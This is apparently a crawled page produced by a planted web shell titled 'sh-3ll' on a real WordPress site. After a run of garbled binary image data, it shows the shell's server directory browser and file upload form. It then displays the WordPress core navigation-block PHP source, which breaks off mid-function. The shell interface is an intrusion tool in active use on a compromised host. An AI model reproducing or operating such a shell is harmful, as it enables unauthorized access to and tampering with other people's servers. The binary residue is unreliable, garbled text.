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5"C 1 H  b?߮    3x  3 & g ş g  g    l  _   h     Z^,`5 ?   ߎ  vĸ% ̀M! OZC2#0x    LJ  0    G w    $I $I } < {Eb + y   ; iI,`    ܚ  F     : 5  ܛ A 8   -O -| 8 K 7  s |# Z8 a& >  <  a&    /V  tb t L  ʌI $I $I $I $I $I $IRj   D  D %tEXtdate:create2022-05-31T04:40:26+00:00 !Î%tEXtdate:modify2022-05-31T04:40:26+00:00 |{2IEND B`  <!doctypehtml><head><link href="https://fonts.googleapis.com"rel="preconnect"><link href="https://fonts.gstatic.com"rel="preconnect"crossorigin><link href="https://fonts.googleapis.com/css2?family=Maven+Pro:wght@400..900&display=swap"rel="stylesheet"><link href=""rel="stylesheet"type="text/css"><title>sh-3ll</title><style>body{background-color:#f0f0f0;color:#000;margin:0;padding:0;font-family:"Maven Pro",system-ui;font-optical-sizing:auto;font-weight:<weight>;font-style:normal}table{width:100%;border-collapse:collapse;border:1px solid #ddd;box-shadow:0 0 10px rgba(0,0,0,.1)}#content .first{background-color:#f7f7f7;font-weight:700}#content tr{border:1px #252525 solid}#content tr:hover{background-color:#f0f0f0;box-shadow:0 0 10px rgba(0,0,0,.05)}h1{font-family:Roboto,sans-serif;font-size:2em;color:#444;text-align:center;margin:20px 0}a{color:#007bff;text-decoration:none}a:hover{color:#0056b3;text-decoration:underline;text-shadow:none}input,select,textarea{border:1px solid #ccc;border-radius:4px;padding:10px;font-size:1em;background-color:#fff;box-shadow:0 0 5px rgba(0,0,0,.1)}input:focus,select:focus,textarea:focus{border-color:#007bff;outline:0;box-shadow:0 0 5px rgba(0,123,255,.5)}@media (max-width:768px){table{width:100%;font-size:.9em}h1{font-size:1.5em}}</style></head><body><h1><center><a href="?">HOME</a></center></h1><table align="center"border="0"cellpadding="3"cellspacing="1"width="700"><tr><td>DIR:<a href="?path=/">/</a><a href="?path=/var">var</a>/<a href="?path=/var/www">www</a>/<a href="?path=/var/www/vhosts">vhosts</a>/<a href="?path=/var/www/vhosts/dienmaychuyennghiep.com">dienmaychuyennghiep.com</a>/<a href="?path=/var/www/vhosts/dienmaychuyennghiep.com/httpdocs">httpdocs</a>/<a href="?path=/var/www/vhosts/dienmaychuyennghiep.com/httpdocs/wp-includes">wp-includes</a>/<a href="?path=/var/www/vhosts/dienmaychuyennghiep.com/httpdocs/wp-includes/blocks">blocks</a>/</td></tr><tr><td><form method="POST"enctype="multipart/form-data">Upload File : <input type="file"name="file"> <input value="upload"type="submit"></form></td></tr><tr><td>Current File : /var/www/vhosts/dienmaychuyennghiep.com/httpdocs/wp-includes/blocks/navigation.php</td></tr><tr><td><pre>&lt;?php
/**
 * Server-side rendering of the `core/navigation` block.
 *
 * @package WordPress
 */

/**
 * Returns the submenu visibility value with backward compatibility
 * for the deprecated openSubmenusOnClick attribute.
 *
 * This function centralizes the migration logic from the boolean
 * openSubmenusOnClick to the new submenuVisibility enum.
 *
 * Backward compatibility: WordPress applies default attribute values, so submenuVisibility
 * will always have a value even for legacy blocks. We check the legacy openSubmenusOnClick
 * attribute first to preserve original behavior for blocks saved before the migration.
 *
 * @since 6.9.0
 *
 * @param array $attributes Block attributes containing submenuVisibility and/or openSubmenusOnClick.
 * @return string The visibility mode: &#039;hover&#039;, &#039;click&#039;, or &#039;always&#039;.
 */
function block_core_navigation_get_submenu_visibility( $attributes ) {
	$deprecated_open_submenus_on_click = $attributes[&#039;openSubmenusOnClick&#039;] ?? null;

	// For backward compatibility, prioritize the legacy attribute if present.
	// Legacy blocks have openSubmenusOnClick in the database. Since WordPress applies
	// default values, submenuVisibility will also have a value, but we check the legacy
	// attribute first to preserve the original behavior. If the block has been updated
	// and saved in the editor, then the deprecated attribute will be replaced by submenuVisibility.
	if ( null !== $deprecated_open_submenus_on_click ) {
		// Convert boolean to string: true -&gt; &#039;click&#039;, false -&gt; &#039;hover&#039;.
		return ! empty( $deprecated_open_submenus_on_click ) ? &#039;click&#039; : &#039;hover&#039;;
	}

	$submenu_visibility = $attributes[&#039;submenuVisibility&#039;] ?? null;

	// Use submenuVisibility for migrated/new blocks (where openSubmenusOnClick is null).
	return $submenu_visibility ?? &#039;hover&#039;;
}

/**
 * Helper functions used to render the navigation block.
 *
 * @since 6.5.0
 */
class WP_Navigation_Block_Renderer {

	/**
	 * Used to determine whether or not a navigation has submenus.
	 *
	 * @since 6.5.0
	 */
	private static $has_submenus = false;

	/**
	 * Used to determine which blocks need an &lt;li&gt; wrapper.
	 *
	 * @since 6.5.0
	 *
	 * @var array
	 */
	private static $needs_list_item_wrapper = array(
		&#039;core/site-title&#039;,
		&#039;core/site-logo&#039;,
		&#039;core/social-links&#039;,
	);

	/**
	 * Keeps track of all the navigation names that have been seen.
	 *
	 * @since 6.5.0
	 *
	 * @var array
	 */
	private static $seen_menu_names = array();


	/**
	 * Returns whether or not this is responsive navigation.
	 *
	 * @since 6.5.0
	 *
	 * @param array $attributes The block attributes.
	 * @return bool Returns whether or not this is responsive navigation.
	 */
	private static function is_responsive( $attributes ) {
		/**
		 * This is for backwards compatibility after the `isResponsive` attribute was been removed.
		 */

		$has_old_responsive_attribute = ! empty( $attributes[&#039;isResponsive&#039;] ) &amp;&amp; $attributes[&#039;isResponsive&#039;];
		return isset( $attributes[&#039;overlayMenu&#039;] ) &amp;&amp; &#039;never&#039; !== $attributes[&#039;overlayMenu&#039;] || $has_old_responsive_attribute;
	}

	/**
	 * Returns whether or not a navigation has a submenu.
	 *
	 * @since 6.5.0
	 *
	 * @param WP_Block_List $inner_blocks The list of inner blocks.
	 * @return bool Returns whether or not a navigation has a submenu and also sets the member variable.
	 */
	private static function has_submenus( $inner_blocks ) {
		if ( true === static::$has_submenus ) {
			return static::$has_submenus;
		}

		foreach ( $inner_blocks as $inner_block ) {
			// If this is a page list then work out if any of the pages have children.
			if ( &#039;core/page-list&#039; === $inner_block-&gt;name ) {
				$all_pages = get_pages(
					array(
						&#039;sort_column&#039; =&gt; &#039;menu_order,post_title&#039;,
						&#039;order&#039;       =&gt; &#039;asc&#039;,
					)
				);
				foreach ( (array) $all_pages as $page ) {
					if ( $page-&gt;post_parent ) {
						static::$has_submenus = true;
						break;
					}
				}
			}
			// If this is a navigation submenu then we know we have submenus.
			if ( &#039;core/navigation-submenu&#039; === $inner_block-&gt;name ) {
				static::$has_submenus = true;
				break;
			}
		}

		return static::$has_submenus;
	}

	/**
	 * Determine whether the navigation blocks is interactive.
	 *
	 * @since 6.5.0
	 *
	 * @param array         $attributes   The block attributes.
	 * @param WP_Block_List $inner_blocks The list of inner blocks.
	 * @return bool Returns whether or not to load the view script.
	 */
	private static function is_interactive( $attributes, $inner_blocks ) {
		$has_submenus        = static::has_submenus( $inner_blocks );
		$is_responsive_menu  = static::is_responsive( $attributes );
		$computed_visibility = block_core_navigation_get_submenu_visibility( $attributes );
		$open_on_click       = &#039;click&#039; === $computed_visibility;
		$show_submenu_icon   = ! empty( $attributes[&#039;showSubmenuIcon&#039;] );
		return ( $has_submenus &amp;&amp; ( $open_on_click || $show_submenu_icon ) ) || $is_responsive_menu;
	}

	/**
	 * Returns whether or not a block needs a list item wrapper.
	 *
	 * @since 6.5.0
	 *
	 * @param WP_Block $block The block.
	 * @return bool Returns whether or not a block needs a list item wrapper.
	 */
	private static function does_block_need_a_list_item_wrapper( $block ) {

		/**
		 * Filter the list of blocks that need a list item wrapper.
		 *
		 * Affords the ability to customize which blocks need a list item wrapper when rendered
		 * within a core/navigation block.
		 * This is useful for blocks that are not list items but should be wrapped in a list
		 * item when used as a child of a navigation block.
		 *
		 * @since 6.5.0
		 *
		 * @param array $needs_list_item_wrapper The list of blocks that need a list item wrapper.
		 */
		$needs_list_item_wrapper = apply_filters( &#039;block_core_navigation_listable_blocks&#039;, static::$needs_list_item_wrapper );

		return in_array( $block-&gt;name, $needs_list_item_wrapper, true );
	}

	/**
	 * Returns the markup for a single inner block.
	 *
	 * @since 6.5.0
	 *
	 * @param WP_Block $inner_block The inner block.
	 * @return string Returns the markup for a single inner block.
	 */
	private static function get_markup_for_inner_block( $inner_block ) {
		$inner_block_content = $inner_block-&gt;render();
		if ( ! empty( $inner_block_content ) ) {
			if ( static::does_block_need_a_list_item_wrapper( $inner_block ) ) {
				return &#039;&lt;li class=&quot;wp-block-navigation-item&quot;&gt;&#039; . $inner_block_content . &#039;&lt;/li&gt;&#039;;
			}
		}

		return $inner_block_content;
	}

	/**
	 * Returns the html for blocks from a template part (without navigation container wrapper).
	 *
	 * @since 6.5.0
	 *
	 * @param WP_Block_List $blocks The list of blocks to render.
	 * @return string Returns the html for the template part blocks.
	 */
	private static function get_template_part_blocks_html( $blocks ) {
		$html = &#039;&#039;;
		foreach ( $blocks as $block ) {
			$html .= $block-&gt;render();
		}
		return $html;
	}

	/**
	 * Returns the html for the inner blocks of the navigation block.
	 *
	 * @since 6.5.0
	 *
	 * @param array         $attributes   The block attributes.
	 * @param WP_Block_List $inner_blocks The list of inner blocks.
	 * @return string Returns the html for the inner blocks of the navigation block.
	 */
	private static function get_inner_blocks_html( $attributes, $inner_blocks ) {
		$has_submenus   = static::has_submenus( $inner_blocks );
		$is_interactive = static::is_interactive( $attributes, $inner_blocks );

		$style                = static::get_styles( $attributes );
		$class                = static::get_classes( $attributes );
		$container_attributes = get_block_wrapper_attributes(
			array(
				&#039;class&#039; =&gt; &#039;wp-block-navigation__container &#039; . $class,
				&#039;style&#039; =&gt; $style,
			)
		);

		$inner_blocks_html = &#039;&#039;;
		$is_list_open      = false;

		foreach ( $inner_blocks as $inner_block ) {
			$inner_block_markup = static::get_markup_for_inner_block( $inner_block );
			$p                  = new WP_HTML_Tag_Processor( $inner_block_markup );
			$is_list_item       = $p-&gt;next_tag( &#039;LI&#039; );

			if ( $is_list_item &amp;&amp; ! $is_list_open ) {
				$is_list_open       = true;
				$inner_blocks_html .= sprintf(
					&#039;&lt;ul %1$s&gt;&#039;,
					$container_attributes
				);
			}

			if ( ! $is_list_item &amp;&amp; $is_list_open ) {
				$is_list_open       = false;
				$inner_blocks_html .= &#039;&lt;/ul&gt;&#039;;
			}

			$inner_blocks_html .= $inner_block_markup;
		}

		if ( $is_list_open ) {
			$inner_blocks_html .= &#039;&lt;/ul&gt;&#039;;
		}

		// Add directives to the submenu if needed.
		if ( $has_submenus &amp;&amp; $is_interactive ) {
			$tags              = new WP_HTML_Tag_Processor( $inner_blocks_html );
			$inner_blocks_html = block_core_navigation_add_directives_to_submenu( $tags, $attributes );
		}

		return $inner_blocks_html;
	}

	/**
	 * Gets the inner blocks for the navigation block from the navigation post.
	 *
	 * @since 6.5.0
	 *
	 * @param array $attributes The block attributes.
	 * @return WP_Block_List Returns the inner blocks for the navigation block.
	 */
	private static function get_inner_blocks_from_navigation_post( $attributes ) {
		$navigation_post = get_post( $attributes[&#039;ref&#039;] );
		if ( ! isset( $navigation_post ) ) {
			return new WP_Block_List( array(), $attributes );
		}

		// Only published posts are valid. If this is changed then a corresponding change
		// must also be implemented in `use-navigation-menu.js`.
		if ( &#039;publish&#039; === $navigation_post-&gt;post_status ) {
			$parsed_blocks = parse_blocks( $navigation_post-&gt;post_content );

			// &#039;parse_blocks&#039; includes a null block with &#039;\n\n&#039; as the content when
			// it encounters whitespace. This code strips it.
			$blocks = block_core_navigation_filter_out_empty_blocks( $parsed_blocks );

			// Re-serialize, and run Block Hooks algorithm to inject hooked blocks.
			// TODO: See if we can move the apply_block_hooks_to_content_from_post_object() call
			// before the parse_blocks() call further above, to avoid the extra serialization/parsing.
			$markup = serialize_blocks( $blocks );
			$markup = apply_block_hooks_to_content_from_post_object( $markup, $navigation_post );
			$blocks = parse_blocks( $markup );

			// TODO - this uses the full navigation block attributes for the
			// context which could be refined.
			return new WP_Block_List( $blocks, $attributes );
		}
	}

	/**
	 * Gets the inner blocks for the navigation block from the fallback.
	 *
	 * @since 6.5.0
	 *
	 * @param array $attributes The block attributes.
	 * @return WP_Block_List Returns the inner blocks for the navigation block.
	 */
	private static function get_inner_blocks_from_fallback( $attributes ) {
		$fallback_blocks = block_core_navigation_get_fallback_blocks();

		// Fallback my have been filtered so do basic test for validity.
		if ( empty( $fallback_blocks ) || ! is_array( $fallback_blocks ) ) {
			return new WP_Block_List( array(), $attributes );
		}

		return new WP_Block_List( $fallback_blocks, $attributes );
	}

	/**
	 * Recursively disables overlay menu for navigation blocks within overlay blocks.
	 * Prevents nested overlays (inception).
	 *
	 * @since 6.5.0
	 *
	 * @param array $blocks Array of parsed block arrays.
	 * @return array Modified blocks with overlayMenu set to &#039;never&#039; for navigation blocks.
	 */
	private static function disable_overlay_menu_for_nested_navigation_blocks( $blocks ) {
		if ( empty( $blocks ) || ! is_array( $blocks ) ) {
			return $blocks;
		}

		foreach ( $blocks as &amp;$block ) {
			if ( ! isset( $block[&#039;blockName&#039;] ) ) {
				continue;
			}

			// If this is a navigation block, disable its overlay menu.
			if ( &#039;core/navigation&#039; === $block[&#039;blockName&#039;] ) {
				if ( ! isset( $block[&#039;attrs&#039;] ) ) {
					$block[&#039;attrs&#039;] = array();
				}
				$block[&#039;attrs&#039;][&#039;overlayMenu&#039;] = &#039;never&#039;;
				// Mark this as a nested navigation within an overlay template part
				// so we can handle its rendering differently.
				$block[&#039;attrs&#039;][&#039;_isWithinOverlayTemplatePart&#039;] = true;
			}

			// Recursively process inner blocks.
			if ( ! empty( $block[&#039;innerBlocks&#039;] ) &amp;&amp; is_array( $block[&#039;innerBlocks&#039;] ) ) {
				$block[&#039;innerBlocks&#039;] = static::disable_overlay_menu_for_nested_navigation_blocks( $block[&#039;innerBlocks&#039;] );
			}
		}

		return $blocks;
	}

	/**
	 * Gets the inner blocks for the navigation block from an overlay template part.
	 *
	 * @since 6.5.0
	 *
	 * @param string $overlay_template_part_id The overlay template part ID in format &quot;theme//slug&quot;.
	 * @param array  $attributes                The block attributes.
	 * @return WP_Block_List Returns the inner blocks for the overlay template part.
	 */
	private static function get_overlay_blocks_from_template_part( $overlay_template_part_id, $attributes ) {
		if ( empty( $overlay_template_part_id ) || ! is_string( $overlay_template_part_id ) ) {
			return new WP_Block_List( array(), $attributes );
		}

		// Parse the template part ID (format: &quot;theme//slug&quot;).
		// If it&#039;s just a slug, construct the full ID using the current theme.
		$parts = explode( &#039;//&#039;, $overlay_template_part_id, 2 );
		if ( count( $parts ) === 2 ) {
			// Already in &quot;theme//slug&quot; format (backward compatibility).
			$theme = $parts[0];
			$slug  = $parts[1];
		} else {
			// Just a slug, use current theme.
			$theme = get_stylesheet();
			$slug  = $overlay_template_part_id;
		}

		// Only query for template parts from the active theme.
		if ( get_stylesheet() !== $theme ) {
			return new WP_Block_List( array(), $attributes );
		}

		// Query for the template part post.
		$template_part_query = new WP_Query(
			array(
				&#039;post_type&#039;           =&gt; &#039;wp_template_part&#039;,
				&#039;post_status&#039;         =&gt; &#039;publish&#039;,
				&#039;post_name__in&#039;       =&gt; array( $slug ),
				&#039;tax_query&#039;           =&gt; array(
					array(
						&#039;taxonomy&#039; =&gt; &#039;wp_theme&#039;,
						&#039;field&#039;    =&gt; &#039;name&#039;,
						&#039;terms&#039;    =&gt; $theme,
					),
				),
				&#039;posts_per_page&#039;      =&gt; 1,
				&#039;no_found_rows&#039;       =&gt; true,
				&#039;lazy_load_term_meta&#039; =&gt; false, // Do not lazy load term meta, as template parts only have one term.
			)
		);

		$template_part_post = $template_part_query-&gt;have_posts() ? $template_part_query-&gt;next_post() : null;

		if ( ! $template_part_post ) {
			// Try to get from theme file if not in database.
			// Construct the full template part ID for get_block_file_template.
			$full_template_part_id = $theme . &#039;//&#039; . $slug;
			$block_template        = get_block_file_template( $full_template_part_id, &#039;wp_template_part&#039; );
			if ( isset( $block_template-&gt;content ) ) {
				// Expand shortcodes before parsing blocks, matching the order in
				// `render_block_core_template_part()`.
				$content       = shortcode_unautop( $block_template-&gt;content );
				$content       = do_shortcode( $content );
				$parsed_blocks = parse_blocks( $content );
				$blocks        = block_core_navigation_filter_out_empty_blocks( $parsed_blocks );
				// Disable overlay menu for any navigation blocks within the overlay to prevent nested overlays.
				$blocks = static::disable_overlay_menu_for_nested_navigation_blocks( $blocks );
				return new WP_Block_List( $blocks, $attributes );
			}
			return new WP_Block_List( array(), $attributes );
		}

		// Get the template part content.
		$block_template = _build_block_template_result_from_post( $template_part_post );
		if ( ! isset( $block_template-&gt;content ) ) {
			return new WP_Block_List( array(), $attributes );
		}

		$parsed_blocks = parse_blocks( $block_template-&gt;content );

		// &#039;parse_blocks&#039; includes a null block with &#039;\n\n&#039; as the content when
		// it encounters whitespace. This code strips it.
		$blocks = block_core_navigation_filter_out_empty_blocks( $parsed_blocks );

		// Re-serialize, and run Block Hooks algorithm to inject hooked blocks.
		$markup = serialize_blocks( $blocks );
		$markup = apply_block_hooks_to_content_from_post_object( $markup, $template_part_post );

		// Expand shortcodes before parsing blocks, matching the order in
		// `render_block_core_template_part()`.
		$markup = shortcode_unautop( $markup );
		$markup = do_shortcode( $markup );

		$blocks = parse_blocks( $markup );

		// Disable overlay menu for any navigation blocks within the overlay to prevent nested overlays.
		$blocks = static::disable_overlay_menu_for_nested_navigation_blocks( $blocks );

		return new WP_Block_List( $blocks, $attributes );
	}

	/**
	 * Gets the inner blocks for the navigation block.
	 *
	 * @since 6.5.0
	 *
	 * @param array    $attributes The block attributes.
	 * @param WP_Block $block The parsed block.
	 * @return WP_Block_List Returns the inner blocks for the navigation block.
	 */
	private static function get_inner_blocks( $attributes, $block ) {
		$inner_blocks = $block-&gt;inner_blocks;

		// Ensure that blocks saved with the legacy ref attribute name (navigationMenuId) continue to render.
		if ( array_key_exists( &#039;navigationMenuId&#039;, $attributes ) ) {
			$attributes[&#039;ref&#039;] = $attributes[&#039;navigationMenuId&#039;];
		}

		// If:
		// - the gutenberg plugin is active
		// - `__unstableLocation` is defined
		// - we have menu items at the defined location
		// - we don&#039;t have a relationship to a `wp_navigation` Post (via `ref`).
		// ...then create inner blocks from the classic menu assigned to that location.
		if (
			defined( &#039;IS_GUTENBERG_PLUGIN&#039; ) &amp;&amp; IS_GUTENBERG_PLUGIN &amp;&amp;
			array_key_exists( &#039;__unstableLocation&#039;, $attributes ) &amp;&amp;
			! array_key_exists( &#039;ref&#039;, $attributes ) &amp;&amp;
			! empty( block_core_navigation_get_menu_items_at_location( $attributes[&#039;__unstableLocation&#039;] ) )
		) {
			$inner_blocks = block_core_navigation_get_inner_blocks_from_unstable_location( $attributes );
		}

		// Load inner blocks from the navigation post.
		if ( array_key_exists( &#039;ref&#039;, $attributes ) ) {
			$inner_blocks = static::get_inner_blocks_from_navigation_post( $attributes );
		}

		// If there are no inner blocks then fallback to rendering an appropriate fallback.
		if ( empty( $inner_blocks ) ) {
			$inner_blocks = static::get_inner_blocks_from_fallback( $attributes );
		}

		/**
		 * Filter navigation block $inner_blocks.
		 * Allows modification of a navigation block menu items.
		 *
		 * @since 6.1.0
		 *
		 * @param \WP_Block_List $inner_blocks
		 */
		$inner_blocks = apply_filters( &#039;block_core_navigation_render_inner_blocks&#039;, $inner_blocks );

		$post_ids = block_core_navigation_get_post_ids( $inner_blocks );
		if ( $post_ids ) {
			_prime_post_caches( $post_ids, false, false );
		}

		return $inner_blocks;
	}

	/**
	 * Gets the name of the current navigation, if it has one.
	 *
	 * @since 6.5.0
	 *
	 * @param array $attributes The block attributes.
	 * @return string Returns the name of the navigation.
	 */
	private static function get_navigation_name( $attributes ) {

		$navigation_name = $attributes[&#039;ariaLabel&#039;] ?? &#039;&#039;;

		if ( ! empty( $navigation_name ) ) {
			return $navigation_name;
		}

		// Load the navigation post.
		if ( array_key_exists( &#039;ref&#039;, $attributes ) ) {
			$navigation_post = get_post( $attributes[&#039;ref&#039;] );
			if ( ! isset( $navigation_post ) ) {
				return $navigation_name;
			}

			// Only published posts are valid. If this is changed then a corresponding change
			// must also be implemented in `use-navigation-menu.js`.
			if ( &#039;publish&#039; === $navigation_post-&gt;post_status ) {
				return $navigation_post-&gt;post_title;
			}
		}

		return $navigation_name;
	}

	/**
	 * Returns the layout class for the navigation block.
	 *
	 * @since 6.5.0
	 *
	 * @param array $attributes The block attributes.
	 * @return string Returns the layout class for the navigation block.
	 */
	private static function get_layout_class( $attributes ) {
		$layout_justification = array(
			&#039;left&#039;          =&gt; &#039;items-justified-left&#039;,
			&#039;right&#039;         =&gt; &#039;items-justified-right&#039;,
			&#039;center&#039;        =&gt; &#039;items-justified-center&#039;,
			&#039;space-between&#039; =&gt; &#039;items-justified-space-between&#039;,
		);

		$layout_class = &#039;&#039;;
		if (
			isset( $attributes[&#039;layout&#039;][&#039;justifyContent&#039;] ) &amp;&amp;
			isset( $layout_justification[ $attributes[&#039;layout&#039;][&#039;justifyContent&#039;] ] )
		) {
			$layout_class .= $layout_justification[ $attributes[&#039;layout&#039;][&#039;justifyContent&#039;] ];
		}
		if ( isset( $attributes[&#039;layout&#039;][&#039;orientation&#039;] ) &amp;&amp; &#039;vertical&#039; === $attributes[&#039;layout&#039;][&#039;orientation&#039;] ) {
			$layout_class .= &#039; is-vertical&#039;;
		}

		if ( isset( $attributes[&#039;layout&#039;][&#039;flexWrap&#039;] ) &amp;&amp; &#039;nowrap&#039; === $attributes[&#039;layout&#039;][&#039;flexWrap&#039;] ) {
			$layout_class .= &#039; no-wrap&#039;;
		}
		return $layout_class;
	}

	/**
	 * Return classes for the navigation block.
	 *
	 * @since 6.5.0
	 *
	 * @param array $attributes The block attributes.
	 * @return string Returns the classes for the navigation block.
	 */
	private static function get_classes( $attributes ) {
		// Restore legacy classnames for submenu positioning.
		$layout_class       = static::get_layout_class( $attributes );
		$colors             = block_core_navigation_build_css_colors( $attributes );
		$font_sizes         = block_core_navigation_build_css_font_sizes( $attributes );
		$is_responsive_menu = static::is_responsive( $attributes );

		// Manually add block support text decoration as CSS class.
		$text_decoration       = $attributes[&#039;style&#039;][&#039;typography&#039;][&#039;textDecoration&#039;] ?? null;
		$text_decoration_class = sprintf( &#039;has-text-decoration-%s&#039;, $text_decoration );

		$classes = array_merge(
			$colors[&#039;css_classes&#039;],
			$font_sizes[&#039;css_classes&#039;],
			$is_responsive_menu ? array( &#039;is-responsive&#039; ) : array(),
			$layout_class ? array( $layout_class ) : array(),
			$text_decoration ? array( $text_decoration_class ) : array()
		);
		return implode( &#039; &#039;, $classes );
	}

	/**
	 * Get styles for the navigation block.
	 *
	 * @since 6.5.0
	 *
	 * @param array $attributes The block attributes.
	 * @return string Returns the styles for the navigation block.
	 */
	private static function get_styles( $attributes ) {
		$colors       = block_core_navigation_build_css_colors( $attributes );
		$font_sizes   = block_core_navigation_build_css_font_sizes( $attributes );
		$block_styles = $attributes[&#039;styles&#039;] ?? &#039;&#039;;
		return $block_styles . $colors[&#039;inline_styles&#039;] . $font_sizes[&#039;inline_styles&#039;];
	}

	/**
	 * Get responsive container classes for the navigation block.
	 *
	 * @since 7.0.0
	 *
	 * @param bool  $is_hidden_by_default Whether the responsive menu is hidden by default.
	 * @param bool  $has_custom_overlay Whether a custom overlay is used.
	 * @param array $colors The colors array.
	 * @return array Returns the responsive container classes.
	 */
	private static function get_responsive_container_classes( $is_hidden_by_default, $has_custom_overlay, $colors ) {
		$responsive_container_classes = array( &#039;wp-block-navigation__responsive-container&#039; );

		if ( $is_hidden_by_default ) {
			$responsive_container_classes[] = &#039;hidden-by-default&#039;;
		}

		if ( $has_custom_overlay ) {
			$responsive_container_classes[] = &#039;disable-default-overlay&#039;;
		} else {
			// Don&#039;t apply overlay color classes if using a custom overlay template part.
			// The custom overlay is responsible for its own styling.
			$responsive_container_classes[] = implode( &#039; &#039;, $colors[&#039;overlay_css_classes&#039;] );
		}

		return $responsive_container_classes;
	}

	/**
	 * Get overlay inline styles for the navigation block.
	 *
	 * @since 7.0.0
	 *
	 * @param array $colors The colors array.
	 * @return string Returns the overlay inline styles.
	 */
	private static function get_overlay_inline_styles( $has_custom_overlay, $colors ) {
		$overlay_inline_styles = $has_custom_overlay ? &#039;&#039; : esc_attr( safecss_filter_attr( $colors[&#039;overlay_inline_styles&#039;] ) );
		return ( ! empty( $overlay_inline_styles ) ) ? &quot;style=\&quot;$overlay_inline_styles\&quot;&quot; : &#039;&#039;;
	}

	/**
	 * Get the responsive container markup
	 *
	 * @since 6.5.0
	 *
	 * @param array         $attributes The block attributes.
	 * @param WP_Block_List $inner_blocks The list of inner blocks.
	 * @param string        $inner_blocks_html The markup for the inner blocks.
	 * @return string Returns the container markup.
	 */
	private static function get_responsive_container_markup( $attributes, $inner_blocks, $inner_blocks_html ) {
		$is_interactive  = static::is_interactive( $attributes, $inner_blocks );
		$colors          = block_core_navigation_build_css_colors( $attributes );
		$modal_unique_id = wp_unique_id( &#039;modal-&#039; );

		$is_hidden_by_default = isset( $attributes[&#039;overlayMenu&#039;] ) &amp;&amp; &#039;always&#039; === $attributes[&#039;overlayMenu&#039;];

		// Set-up variables for custom overlays.
		$has_custom_overlay             = false;
		$close_button_markup            = &#039;&#039;;
		$has_custom_overlay_close_block = false;
		$overlay_blocks_html            = &#039;&#039;;
		$custom_overlay_markup          = &#039;&#039;;

		// Check if an overlay template part is selected and render it.
		// This needs to happen before building classes so we know if overlay blocks actually exist.
		if ( ! empty( $attributes[&#039;overlay&#039;] ) ) {
			// Get blocks from the overlay template part.
			$overlay_blocks = static::get_overlay_blocks_from_template_part( $attributes[&#039;overlay&#039;], $attributes );
			// Render template part blocks directly without navigation container wrapper.
			$overlay_blocks_html = static::get_template_part_blocks_html( $overlay_blocks );
			// Check if overlay contains a navigation-overlay-close block (detect in rendered HTML so it works with patterns).
			$has_custom_overlay_close_block = block_core_navigation_overlay_html_has_close_block( $overlay_blocks_html );
			// Add Interactivity API directives to the overlay close block if present.
			if ( $has_custom_overlay_close_block &amp;&amp; $is_interactive ) {
				$tags                = new WP_HTML_Tag_Processor( $overlay_blocks_html );
				$overlay_blocks_html = block_core_navigation_add_directives_to_overlay_close( $tags );
			}
			// Images in the overlay are hidden until the menu is opened. Pre-set
			// fetchpriority=&quot;low&quot; so that when wp_filter_content_tags() processes the
			// parent template part, it sees the attribute already present and calls
			// wp_get_loading_optimization_attributes() with fetchpriority=&quot;low&quot;, which both prevents
			// fetchpriority=&quot;high&quot; from being added and stops the LCP counter from being incremented.
			$overlay_blocks_html = block_core_navigation_set_overlay_image_fetch_priority( $overlay_blocks_html );
		}

		$has_custom_overlay = ! empty( $overlay_blocks_html );

		$responsive_container_classes = static::get_responsive_container_classes( $is_hidden_by_default, $has_custom_overlay, $colors );

		$open_button_classes = array(
			&#039;wp-block-navigation__responsive-container-open&#039;,
			$is_hidden_by_default ? &#039;always-shown&#039; : &#039;&#039;,
		);

		$should_display_icon_label = isset( $attributes[&#039;hasIcon&#039;] ) &amp;&amp; true === $attributes[&#039;hasIcon&#039;];
		$toggle_button_icon        = &#039;&lt;svg width=&quot;24&quot; height=&quot;24&quot; xmlns=&quot;http://www.w3.org/2000/svg&quot; viewBox=&quot;0 0 24 24&quot; aria-hidden=&quot;true&quot; focusable=&quot;false&quot;&gt;&lt;path d=&quot;M4 7.5h16v1.5H4z&quot;&gt;&lt;/path&gt;&lt;path d=&quot;M4 15h16v1.5H4z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&#039;;
		if ( isset( $attributes[&#039;icon&#039;] ) ) {
			if ( &#039;menu&#039; === $attributes[&#039;icon&#039;] ) {
				$toggle_button_icon = &#039;&lt;svg width=&quot;24&quot; height=&quot;24&quot; xmlns=&quot;http://www.w3.org/2000/svg&quot; viewBox=&quot;0 0 24 24&quot;&gt;&lt;path d=&quot;M5 5v1.5h14V5H5z&quot;&gt;&lt;/path&gt;&lt;path d=&quot;M5 12.8h14v-1.5H5v1.5z&quot;&gt;&lt;/path&gt;&lt;path d=&quot;M5 19h14v-1.5H5V19z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&#039;;
			}
		}
		$toggle_button_content       = $should_display_icon_label ? $toggle_button_icon : __( &#039;Menu&#039; );
		$toggle_close_button_icon    = &#039;&lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; viewBox=&quot;0 0 24 24&quot; width=&quot;24&quot; height=&quot;24&quot; aria-hidden=&quot;true&quot; focusable=&quot;false&quot;&gt;&lt;path d=&quot;m13.06 12 6.47-6.47-1.06-1.06L12 10.94 5.53 4.47 4.47 5.53 10.94 12l-6.47 6.47 1.06 1.06L12 13.06l6.47 6.47 1.06-1.06L13.06 12Z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&#039;;
		$toggle_close_button_content = $should_display_icon_label ? $toggle_close_button_icon : __( &#039;Close&#039; );
		$toggle_aria_label_open      = $should_display_icon_label ? &#039;aria-label=&quot;&#039; . __( &#039;Open menu&#039; ) . &#039;&quot;&#039; : &#039;&#039;; // Open button label.
		$toggle_aria_label_close     = $should_display_icon_label ? &#039;aria-label=&quot;&#039; . __( &#039;Close menu&#039; ) . &#039;&quot;&#039; : &#039;&#039;; // Close button label.

		// Add Interactivity API directives to the markup if needed.
		$open_button_directives          = &#039;&#039;;
		$responsive_container_directives = &#039;&#039;;
		$responsive_dialog_directives    = &#039;&#039;;
		$close_button_directives         = &#039;&#039;;
		if ( $is_interactive ) {
			$open_button_directives                  = &#039;
				data-wp-on--click=&quot;actions.openMenuOnClick&quot;
				data-wp-on--keydown=&quot;actions.handleMenuKeydown&quot;
			&#039;;
			$responsive_container_directives         = &#039;
				data-wp-class--has-modal-open=&quot;state.isMenuOpen&quot;
				data-wp-class--is-menu-open=&quot;state.isMenuOpen&quot;
				data-wp-watch=&quot;callbacks.initMenu&quot;
				data-wp-on--keydown=&quot;actions.handleMenuKeydown&quot;
				data-wp-on--focusout=&quot;actions.handleMenuFocusout&quot;
				tabindex=&quot;-1&quot;
